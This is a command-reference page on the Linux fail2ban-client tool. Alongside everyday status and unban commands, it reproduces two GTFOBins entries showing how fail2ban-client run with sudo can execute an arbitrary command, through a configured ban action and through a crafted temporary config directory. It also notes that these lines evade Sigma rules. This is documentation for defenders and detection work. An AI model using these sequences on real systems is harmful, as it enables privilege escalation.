CmdID / Programs / Linux and Unix
fail2ban-client
Configure and control the fail2ban server. tldr-pages
GTFOBins command 2 documented commands
How fail2ban-client is abused
command
add
command
-c-vEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for fail2ban-client.
2 documented commands
command with sudo
The subprocess is immediately sent to the background, but fail2ban-client waits on a return code from the subprocess. The banip command will hang until the subprocess returns.
fail2ban-client add x
fail2ban-client set x addaction x
fail2ban-client set x action x actionban /path/to/command
fail2ban-client start x
fail2ban-client set x banip 999.999.999.999
fail2ban-client set x unbanip 999.999.999.999
fail2ban-client stop xcommand with sudo
cat >/path/to/temp-dir/fail2ban.conf <<EOF
[Definition]
EOF
cat >/path/to/temp-dir/jail.local <<EOF
[x]
enabled = true
action = x
EOF
mkdir -p /path/to/temp-dir/action.d/
cat >/path/to/temp-dir/action.d/x.conf <<EOF
[Definition]
actionstart = /path/to/command
EOF
mkdir -p /path/to/temp-dir/filter.d/
cat >/path/to/temp-dir/filter.d/x.conf <<EOF
[Definition]
EOF
fail2ban-client -c /path/to/temp-dir/ -v restartNone of the 2 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for fail2ban-client. CmdID reads the line of each that runs fail2ban-client.
Everyday use
Show the general status of the fail2ban server and list active jails
fail2ban-client statusIdentifyShow the status of a specific jail
fail2ban-client status jailIdentifyRemove a specific IP from a jail's ban list
fail2ban-client set jail unbanip ip_addressIdentifyNone of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.